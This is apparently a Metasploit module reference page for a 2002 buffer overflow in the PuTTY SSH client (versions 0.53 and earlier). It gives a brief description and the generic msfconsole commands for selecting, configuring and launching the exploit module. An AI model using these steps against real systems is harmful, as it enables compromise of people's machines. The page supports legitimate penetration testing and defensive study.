module

PuTTY Buffer Overflow

Disclosed
Dec 16, 2002
Created
May 30, 2018

Description

This module exploits a buffer overflow in the PuTTY SSH client that is
triggered through a validation error in SSH.c. This vulnerability
affects versions 0.53 and earlier.

Platform

Windows

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':


msf > use exploit/windows/ssh/putty_msg_debug
msf exploit(putty_msg_debug) > show targets
...targets...
msf exploit(putty_msg_debug) > set TARGET < target-id >
msf exploit(putty_msg_debug) > show options
...show and set options...
msf exploit(putty_msg_debug) > exploit

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